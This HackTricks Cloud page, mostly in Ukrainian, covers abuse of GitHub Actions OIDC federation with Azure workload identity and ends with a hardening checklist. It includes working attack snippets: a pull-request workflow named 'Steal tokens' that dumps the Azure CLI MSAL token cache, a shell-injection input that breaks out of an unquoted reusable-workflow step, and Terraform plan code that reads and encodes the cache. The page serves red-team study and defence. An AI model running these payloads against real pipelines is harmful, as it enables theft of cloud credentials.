Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Огляд
GitHub Actions може встановлювати федерацію з Azure Entra ID (formerly Azure AD) через OpenID Connect (OIDC). GitHub workflow запитує короткочасний GitHub ID token (JWT), який кодує деталі запуску. Azure перевіряє цей токен у порівнянні з Federated Identity Credential (FIC) в App Registration (service principal) і обмінює його на Azure access tokens (MSAL cache, bearer tokens for Azure APIs).
Azure перевіряє принаймні:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (під час обміну на Azure tokens)
- sub: має відповідати налаштованому FIC Subject identifier
The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.
GitHub ID token quick PoC
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
Щоб примусово вказати audience для Azure під час запиту token:
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
Azure setup (Workload Identity Federation)
-
Створити App Registration (service principal) і надати найменші привілеї (наприклад, Storage Blob Data Contributor на конкретному storage account).
-
Додати Federated identity credentials:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: щільно обмежений до відповідного workflow/run context (див. Scoping and risks нижче).
- Використати azure/login, щоб обміняти GitHub ID token і увійти в Azure CLI:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
Приклад ручного обміну (показано Graph scope; ARM або інші resources аналогічно):
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
GitHub OIDC subject (sub) — анатомія та налаштування
Default sub format: repo:
Context values include:
- environment:
- pull_request (PR спрацьовує, коли немає environment)
- ref:refs/(heads|tags)/
Корисні claims, що часто присутні в payload:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Налаштуйте склад sub через GitHub API, щоб додати додаткові claims і зменшити ризик колізій:
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
Примітка: двокрапки в іменах environment кодуються в URL (%3A), що усуває старі трюки з інʼєкцією роздільників при парсингу sub. Однак використання неунікальних subject (наприклад, лише environment:
Сфера застосування та ризики типів subject у FIC
- Branch/Tag: sub=repo:
/ :ref:refs/heads/ or ref:refs/tags/ - Ризик: Якщо гілка/тег не захищені, будь‑який контрибʼютор може запушити і отримати токени.
- Environment: sub=repo:
/ :environment: - Ризик: Незахищені environments (без рецензентів) дозволяють контрибʼюторам випускати токени.
- Pull request: sub=repo:
/ :pull_request - Найвищий ризик: Будь‑який collaborator може відкрити PR і задовольнити FIC.
PoC: PR‑triggered token theft (екзфільтрація кешу Azure CLI, записаного azure/login):
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
Пов'язані місця розташування файлів і примітки:
- Linux/macOS: ~/.azure/msal_token_cache.json містить MSAL токени для сесій az CLI
- Windows: msal_token_cache.bin у профілі користувача; захищений DPAPI
Повторно використовувані робочі процеси та обмеження job_workflow_ref
Виклик повторно використовуваного робочого процесу додає job_workflow_ref до GitHub ID токена, наприклад:
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
Приклад FIC для прив'язки як caller repo, так і reusable workflow:
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
Налаштуйте claims у caller repo так, щоб і repo, і job_workflow_ref були присутні в sub:
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
Попередження: Якщо ви зв'язуєте лише job_workflow_ref у FIC, нападник може створити інший repo в тій самій org, запустити той самий reusable workflow на тому самому ref, задовольнити FIC і mint tokens. Завжди включайте також caller repo.
Вектори виконання коду, що обходять захист job_workflow_ref
Навіть при правильно обмеженому job_workflow_ref будь-які caller‑controlled дані, що потрапляють у shell без safe quoting, можуть призвести до виконання коду всередині захищеного workflow контексту.
Приклад вразливого reusable step (unquoted interpolation):
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
Зловмисний ввід від викликача для виконання команд і ексфільтрації Azure token cache:
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
Terraform plan як примітив виконання в PRs
Розглядайте terraform plan як виконання коду. Під час plan, Terraform може:
- Читати довільні файли через функції, такі як file()
- Виконувати команди через external data source
Приклад для exfiltrate Azure token cache під час plan:
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
Або використати external для запуску довільних команд:
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
Надання FICs, які можна використовувати для планів, ініційованих PR, відкриває доступ до привілейованих токенів і може призвести до руйнівного apply пізніше. Розділяйте identities для plan і apply; ніколи не дозволяйте привілейовані токени в ненадійних PR-контекстах.
Перелік заходів жорсткого захисту
- Ніколи не використовувати sub=...:pull_request для чутливих FICs
- Захищайте будь-яку branch/tag/environment, на яку посилаються FICs (branch protection, environment reviewers)
- Надавайте перевагу FICs, що мають область як repo, так і job_workflow_ref для reusable workflows
- Налаштуйте GitHub OIDC sub, щоб включати унікальні claims (e.g., repo, job_workflow_ref, repository_owner)
- Усуньте незаквотовану інтерполяцію caller inputs у run steps; виконуйте безпечне кодування/quote
- Розглядайте terraform plan як виконання коду; обмежуйте або ізолюйте identities у PR-контекстах
- Забезпечте принцип найменшої привілейованості для App Registrations; розділіть identities для plan та apply
- Прив'язуйте actions та reusable workflows до commit SHAs (avoid branch/tag pins)
Поради для ручного тестування
- Запитуйте GitHub ID token у workflow і виводьте його base64, щоб уникнути маскування
- Декодуйте JWT для перевірки claims: iss, aud, sub, job_workflow_ref, repository, ref
- Вручну обміняйте ID token на login.microsoftonline.com, щоб підтвердити FIC matching та scopes
- Після azure/login прочитайте ~/.azure/msal_token_cache.json, щоб перевірити наявність матеріалів токена
References
- GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)
- azure/login action
- Terraform external data source
- gh CLI
- PaloAltoNetworks/github-oidc-utils
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud